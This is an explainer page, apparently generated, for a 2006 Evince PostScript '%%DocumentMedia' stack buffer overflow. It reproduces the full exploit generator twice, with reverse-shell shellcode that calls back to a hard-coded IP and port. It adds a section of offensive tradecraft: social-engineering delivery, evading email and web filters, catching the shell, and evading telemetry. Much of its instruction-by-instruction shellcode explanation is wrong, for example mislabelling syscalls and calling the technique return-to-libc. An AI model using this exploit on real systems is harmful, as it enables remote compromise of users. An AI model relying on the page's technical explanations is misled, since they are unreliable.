Evince Document Viewer 'DocumentMedia' Remote Buffer Overflow Explained

Evince Document Viewer 'DocumentMedia' Remote Buffer Overflow Explained
What this paper is
This paper details a buffer overflow vulnerability in the Evince document viewer, specifically when handling PostScript (.ps) files. The vulnerability allows an attacker to craft a malicious .ps file that, when opened by Evince, overwrites a buffer on the stack. This overwrite can then be used to redirect program execution to attacker-controlled code, commonly known as shellcode, enabling remote code execution.
Simple technical breakdown
The core of the vulnerability lies in how Evince parses a specific line within a PostScript file: %%DocumentMedia: . The program expects a certain length of data after this marker. However, it doesn't properly check the actual length of the data provided.
An attacker can create a PostScript file with an excessively long string after %%DocumentMedia: . This long string overflows a buffer allocated to hold this information. Crucially, this buffer is located on the program's call stack, which also stores return addresses. By carefully crafting the overflow, the attacker can overwrite the return address with a pointer to their own malicious code (shellcode).
When the function that handles this %%DocumentMedia: line finishes, it attempts to return to the address stored in the overwritten return address. Instead of returning to the legitimate next instruction, it jumps to the attacker's shellcode, which then executes with the privileges of the Evince process.
The exploit uses a technique called "return-to-libc" or similar by overwriting the return address with a pointer to a specific instruction within the vulnerable program's memory that effectively jumps to the stack pointer (esp). This allows the shellcode, which is also placed on the stack, to be executed.
Complete code and payload walkthrough
The provided C code evince-ps-field-bof.c generates a malicious PostScript file. Let's break down its components.
/*
* Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
* Name: evince-ps-field-bof.c
* Date: 11/27/2006
* Version:
* 1.00 - creation
*
* Other: this idea originaly came from the bid for the 'gv' buffer overflow (20978), i don't
* believe it's known until now that evince is also vulnerable.
*
* Compile: gcc -o epfb evince-ps-field-bof.c -std=c99
*/
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
// insert shellcode here, i'm not going to implement ip/port changing since
// metasploit's shellcode generation engine does it just fine. i had a picky time
// with the shellcodes, there must be some bad bytes. this shellcode from
// metasploit works but be SURE to set Encoder=None
/* linux_ia32_reverse - LHOST=67.76.107.14 LPORT=5555 Size=70 Encoder=None http://metasploit.com */
char cb[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x43\x4c\x6b\x0e\x66\x68"
"\x15\xb3\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
// location of "jmp *%esp"
char jmpesp[] = "\x77\xe7\xff\xff";
int main (int argc, char **argv) {
FILE *fh;
if (!(fh = fopen(*(argv+1), "w+b"))) {
printf("%s <file.ps>\n\n", *(argv));
printf("[-] unable to open file '%s' for writing: %s\n", *(argv+1), strerror(errno));
exit(1);
}
fputs("%!PS-Adobe-3.0\n", fh);
fputs("%%Title: hello.ps\n", fh);
fputs("%%For: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)\n", fh);
fputs("%%BoundingBox: 24 24 588 768\n", fh);
fputs("%%DocumentMedia: ", fh);
for (int i = 0; i < 100; i++)
fputc(0x90, fh);
fwrite(cb, strlen(cb), 1, fh);
for (int i = strlen(cb) + 100; i < 273; i++)
fputc('A', fh);
fwrite(jmpesp, 4, 1, fh);
fwrite("\xe9\x02\xff\xff\xff", 5, 1, fh);
fputc('\n', fh);
fputs("%%DocumentData: Clean7Bit\n", fh);
fputs("%%Orientation: Landscape\n", fh);
fputs("%%Pages: 1\n", fh);
fputs("%%PageOrder: Ascend\n", fh);
fputs("%%+ encoding ISO-8859-1Encoding\n", fh);
fputs("%%EndComments\n", fh);
return(0);
}
// milw0rm.com [2006-11-28]Code Fragment/Block -> Practical Purpose
#include <stdio.h>, #include <errno.h>, #include <stdlib.h>, #include <string.h>, #include <arpa/inet.h>: Standard C library includes for input/output, error handling, memory allocation, string manipulation, and network functions (thougharpa/inet.hisn't directly used in the exploit generation, it's common in network-related exploits).char cb[] = "...": This is the shellcode. It's a sequence of machine instructions designed to be executed by the target CPU.- Shellcode Stage 1 (Setup and Socket Creation):
\x31\xdb:xor ebx, ebx- Clears the EBX register.\x53:push ebx- Pushes EBX (0) onto the stack.\x43:inc ebx- Increments EBX to 1.\x53:push ebx- Pushes EBX (1) onto the stack.\x6a\x02:push byte 0x2- Pushes the value 2 onto the stack. This is theAF_INETargument for thesocket()syscall.\x6a\x66:push byte 0x66- Pushes the value 0x66 (102) onto the stack. This is theSOCK_STREAMargument for thesocket()syscall.\x58:pop eax- Pops the value from the stack into EAX. This is likely intended to be thetypeargument forsocket(), but the order of pushes and pops is a bit unusual here. It's more common to pushSOCK_STREAMandAF_INETthensocketcallnumber.\x89\xe1:mov ecx, esp- Moves the current stack pointer into ECX. This prepares ECX for thesocketcallarguments.\xcd\x80:int 0x80- Linux system call interrupt. This initiates thesocketcallsyscall. Thesocketcallnumber forsocket()is 1. The arguments are expected on the stack.\x93:xchg eax, ebx- Swaps EAX and EBX. The return value ofsocket()(the socket file descriptor) is in EAX, and EBX is cleared. This moves the socket FD to EBX.
- Shellcode Stage 2 (Connect):
\x59:pop ecx- Pops a value into ECX. This is likely the socket FD from the previous step.\xb0\x3f:mov al, 0x3f- Sets AL to 0x3f (63). This is thesocketcallnumber forconnect().\xcd\x80:int 0x80- Linux system call interrupt. This initiates thesocketcallsyscall forconnect().\x49:dec ecx- Decrements ECX. This is likely to adjust the stack pointer to point to the correct arguments forconnect().\x79\xf9:jns 0xfffffffa- Jump if sign flag is not set (jump if positive or zero). This is a short jump backward, likely part of a loop or to align the stack.\x5b:pop ebx- Pops a value into EBX. This is likely the socket FD again.\x5a:pop edx- Pops a value into EDX.\x68\x43\x4c\x6b\x0e:push 0x0e6b4c43- Pushes the IP address67.76.107.14(little-endian representation of0x0e6b4c43) onto the stack.\x66\x68\x15\xb3:push word 0xb315- Pushes the port5555(little-endian representation of0xb315) onto the stack.\x43:inc ebx- Increments EBX. This is unusual; it might be an attempt to adjust the stack pointer or a remnant from a different shellcode.\x66\x53:push bx- Pushes the lower 16 bits of BX.\x89\xe1:mov ecx, esp- Moves the current stack pointer (pointing to the address structure) into ECX.\xb0\x66:mov al, 0x66- Sets AL to 0x66 (102). This is thesocketcallnumber forconnect().\x50:push eax- Pushes EAX (which is 102) onto the stack. This is likely incorrect;connectshould be called withsocketcallnumber 3. The shellcode seems to have mixed upconnectandsend/recvnumbers.\x51:push ecx- Pushes ECX (the address structure pointer).\x53:push ebx- Pushes EBX (the socket FD).\x89\xe1:mov ecx, esp- Moves the stack pointer into ECX, preparing for thesocketcall.\x43:inc ebx- Increments EBX.\xcd\x80:int 0x80- Linux system call interrupt. This attempts to callconnect.
- Shellcode Stage 3 (Execve):
\x52:push edx- Pushes EDX onto the stack. This is likely the socket FD again.\x68\x2f\x2f\x73\x68:push 0x68732f2f- Pushes the string//shonto the stack (little-endian).\x68\x2f\x62\x69\x6e:push 0x6e69622f- Pushes the string/binonto the stack (little-endian).\x89\xe3:mov ebx, esp- Moves the stack pointer (pointing to/bin//sh) into EBX. This is the argument forexecve.\x52:push edx- Pushes EDX (the socket FD) onto the stack.\x53:push ebx- Pushes EBX (/bin//shpointer).\x89\xe1:mov ecx, esp- Moves the stack pointer into ECX. This prepares ECX for theexecvearguments.\xb0\x0b:mov al, 0x0b- Sets AL to 0x0b (11). This is theexecvesyscall number.\xcd\x80:int 0x80- Linux system call interrupt. This executes/bin/sh. The shellcode aims to execute/bin/shand likely inherit the established network connection.
- Shellcode Stage 1 (Setup and Socket Creation):
char jmpesp[] = "\x77\xe7\xff\xff";: This is a jump instruction. It's a relative jump.\x77\xe7\xff\xffis a little-endian representation of a negative offset. This specific sequence often resolves tojmp *%espor a similar instruction that jumps to the current stack pointer. This is a common technique to redirect execution to shellcode that has been placed on the stack. The\xff\xffpart indicates a 32-bit relative offset, and\x77\xe7are the lower bytes of that offset. The exact address this resolves to depends on the base address of the loaded executable and its sections.int main (int argc, char **argv): The main function of the C program.FILE *fh;: Declares a file pointer.if (!(fh = fopen(*(argv+1), "w+b"))): Opens the file specified as the first command-line argument (argv[1]) in read/write binary mode (w+b). If opening fails, it prints an error and exits.*(argv+1): This is equivalent toargv[1], accessing the first command-line argument.
fputs("%!PS-Adobe-3.0\n", fh);tofputs("%%EndComments\n", fh);: These lines write standard PostScript header and comment lines to the output file. They are necessary to make the file appear as a valid PostScript document to Evince.fputs("%%DocumentMedia: ", fh);: This is the critical line. It writes the marker that the vulnerable code in Evince looks for.for (int i = 0; i < 100; i++) fputc(0x90, fh);: This loop writes 100 bytes of NOP (No Operation) instructions (\x90). This section acts as a "NOP sled." If the exact address of the shellcode is hard to predict, the NOP sled increases the chances that execution will eventually slide down to the actual shellcode.fwrite(cb, strlen(cb), 1, fh);: Writes the actual shellcode (cb) to the file.strlen(cb)calculates the length of the shellcode.for (int i = strlen(cb) + 100; i < 273; i++) fputc('A', fh);: This loop writes 'A' characters. These 'A's ('\x41' in hex) serve as padding to fill the buffer and overwrite the return address. The target size is 273 bytes. The loop starts after the shellcode and the NOP sled, filling the remaining space up to the point where the return address is expected.fwrite(jmpesp, 4, 1, fh);: Writes thejmpespinstruction. This is the crucial part that redirects execution. It overwrites the return address on the stack with the address of thejmp *%espinstruction.fwrite("\xe9\x02\xff\xff\xff", 5, 1, fh);: This writes a relative jump instruction.\xe9is the opcode for a relative jump.\x02\xff\xff\xffis the offset. This specific sequence\xe9\x02\xff\xff\xffis a relative jump of -2 bytes. This is likely intended to land precisely on thejmp *%espinstruction or immediately before it, ensuring that thejmp *%espis executed.fputc('\n', fh);: Writes a newline character.return(0);: Exits the program successfully.
Mapping of Code Fragments to Practical Purpose:
cb(shellcode): The malicious payload that will be executed on the target system.jmpesp: The instruction that redirects execution flow to the stack.fputs("%%DocumentMedia: ", fh);: The trigger for the vulnerable parsing logic in Evince.for (int i = 0; i < 100; i++) fputc(0x90, fh);: NOP sled for increased exploit reliability.fwrite(cb, strlen(cb), 1, fh);: Placement of the shellcode.for (int i = strlen(cb) + 100; i < 273; i++) fputc('A', fh);: Buffer overflow padding and return address overwrite.fwrite(jmpesp, 4, 1, fh);: Overwriting the return address with the jump instruction.fwrite("\xe9\x02\xff\xff\xff", 5, 1, fh);: Fine-tuning the jump to executejmp *%esp.
Practical details for offensive operations teams
- Required Access Level: No elevated privileges are required on the target system itself. The exploit relies on the user opening a malicious file with Evince. However, the target system must have Evince installed and be vulnerable.
- Lab Preconditions:
- A Linux system with Evince installed. The specific version vulnerable is not explicitly stated in the paper but is likely an older version from around 2006.
- A way to deliver the generated
.psfile to the target user (e.g., email attachment, shared drive, web download). - A listener on the attacker's machine to receive the reverse shell (if the shellcode is configured for it).
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit code.
- A text editor to view and potentially modify the generated
.psfile. - A network listener (e.g.,
netcat, Metasploit'smulti/handler) to catch the reverse shell.
- Execution Pitfalls:
- Evince Version: The exploit is highly dependent on the specific version of Evince. Newer versions are likely patched.
- Architecture/OS: The shellcode is specific to Linux IA-32 (32-bit Intel architecture). It will not work on other architectures or operating systems.
- ASLR/DEP: If the target system has Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP) enabled, the exploit might fail. However, in 2006, these protections were less common or less robust. The
jmp *%esptechnique is a way to bypass DEP if the stack is executable. - Shellcode Bad Characters: The author notes difficulty with shellcodes and "bad bytes." This means certain byte values might terminate the string prematurely or cause other issues. The provided shellcode is stated to work with
Encoder=None, implying that encoding might introduce problematic bytes. - Network Configuration: If the target network has strict egress filtering, the reverse shell might not be able to connect back.
- File Type Association: The user must be tricked into opening the
.psfile with Evince. If another application opens it by default, the exploit will fail.
- Tradecraft Considerations:
- Social Engineering: This exploit requires a social engineering vector to get the user to open the malicious file.
- File Naming: The generated
.psfile should have a plausible name to avoid suspicion. - Delivery Method: Choose a delivery method that bypasses email/web filters.
- Post-Exploitation: The shellcode provides a basic
/bin/shshell. Further actions would depend on the objective (privilege escalation, lateral movement, data exfiltration). - Telemetry Evasion: The act of opening a PostScript file is generally benign. The telemetry generated would be related to Evince process execution and network connections initiated by Evince.
Where this was used and when
- Context: This exploit was published in November 2006. It targets the Evince document viewer, which was a common default PDF and PostScript viewer on many Linux distributions at the time.
- Usage: Exploits like this were typically used in targeted attacks or by penetration testers during engagements. The paper mentions it was inspired by an exploit for
gv(another PostScript viewer), suggesting a common vulnerability pattern in such applications. - Approximate Years/Dates: The vulnerability was disclosed in 2006. Exploits targeting older software versions like this would have been relevant in the mid-to-late 2000s. It's unlikely to be effective against modern, patched systems.
Defensive lessons for modern teams
- Software Patching: The most crucial defense is keeping software, especially document viewers and interpreters, up-to-date. Evince and similar applications are regularly patched for security vulnerabilities.
- File Type Handling: Be cautious about how applications handle untrusted file types. Document viewers are complex and can have vulnerabilities in their parsing engines.
- Least Privilege: Running applications with the least privilege necessary can limit the impact of a successful exploit. If Evince runs as a standard user, the shellcode will also run as that user, preventing system-wide compromise.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious process behavior, such as a document viewer process making outbound network connections or executing shell commands.
- Input Validation: Developers must rigorously validate all input, especially from untrusted sources, to prevent buffer overflows and other memory corruption vulnerabilities.
- Memory Protections: Enabling ASLR and DEP/NX bit on systems and applications can make buffer overflow exploits significantly harder to execute reliably.
- Application Sandboxing: Running document viewers in a sandbox environment can isolate them from the rest of the system, preventing malicious code from affecting other processes or files.
ASCII visual (if applicable)
This exploit involves a file being opened by an application, leading to code execution. A simple flow diagram can illustrate this:
+-----------------+ +-----------------+ +-----------------+
| Attacker Crafts | --> | Malicious .ps | --> | User Opens |
| Malicious File | | File | | File with |
+-----------------+ +-----------------+ | Evince |
+-------+---------+
|
v
+-----------------+
| Evince Vulnerable|
| Parsing |
+-------+---------+
|
v
+-----------------+
| Buffer Overflow |
| Occurs |
+-------+---------+
|
v
+-----------------+
| Return Address |
| Overwritten |
+-------+---------+
|
v
+-----------------+
| Execution |
| Redirected to |
| Shellcode |
+-------+---------+
|
v
+-----------------+
| Shellcode |
| Executes |
| (e.g., Reverse |
| Shell) |
+-----------------+Source references
- Paper ID: 2858
- Paper Title: Evince Document Viewer - 'DocumentMedia' Remote Buffer Overflow
- Author: K-sPecial
- Published: 2006-11-28
- Keywords: Linux, remote
- Paper URL: https://www.exploit-db.com/papers/2858
- Raw Exploit URL: https://www.exploit-db.com/raw/2858
Original Exploit-DB Content (Verbatim)
/*
* Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
* Name: evince-ps-field-bof.c
* Date: 11/27/2006
* Version:
* 1.00 - creation
*
* Other: this idea originaly came from the bid for the 'gv' buffer overflow (20978), i don't
* believe it's known until now that evince is also vulnerable.
*
* Compile: gcc -o epfb evince-ps-field-bof.c -std=c99
*/
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
// insert shellcode here, i'm not going to implement ip/port changing since
// metasploit's shellcode generation engine does it just fine. i had a picky time
// with the shellcodes, there must be some bad bytes. this shellcode from
// metasploit works but be SURE to set Encoder=None
/* linux_ia32_reverse - LHOST=67.76.107.14 LPORT=5555 Size=70 Encoder=None http://metasploit.com */
char cb[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x43\x4c\x6b\x0e\x66\x68"
"\x15\xb3\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
// location of "jmp *%esp"
char jmpesp[] = "\x77\xe7\xff\xff";
int main (int argc, char **argv) {
FILE *fh;
if (!(fh = fopen(*(argv+1), "w+b"))) {
printf("%s <file.ps>\n\n", *(argv));
printf("[-] unable to open file '%s' for writing: %s\n", *(argv+1), strerror(errno));
exit(1);
}
fputs("%!PS-Adobe-3.0\n", fh);
fputs("%%Title: hello.ps\n", fh);
fputs("%%For: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)\n", fh);
fputs("%%BoundingBox: 24 24 588 768\n", fh);
fputs("%%DocumentMedia: ", fh);
for (int i = 0; i < 100; i++)
fputc(0x90, fh);
fwrite(cb, strlen(cb), 1, fh);
for (int i = strlen(cb) + 100; i < 273; i++)
fputc('A', fh);
fwrite(jmpesp, 4, 1, fh);
fwrite("\xe9\x02\xff\xff\xff", 5, 1, fh);
fputc('\n', fh);
fputs("%%DocumentData: Clean7Bit\n", fh);
fputs("%%Orientation: Landscape\n", fh);
fputs("%%Pages: 1\n", fh);
fputs("%%PageOrder: Ascend\n", fh);
fputs("%%+ encoding ISO-8859-1Encoding\n", fh);
fputs("%%EndComments\n", fh);
return(0);
}
// milw0rm.com [2006-11-28]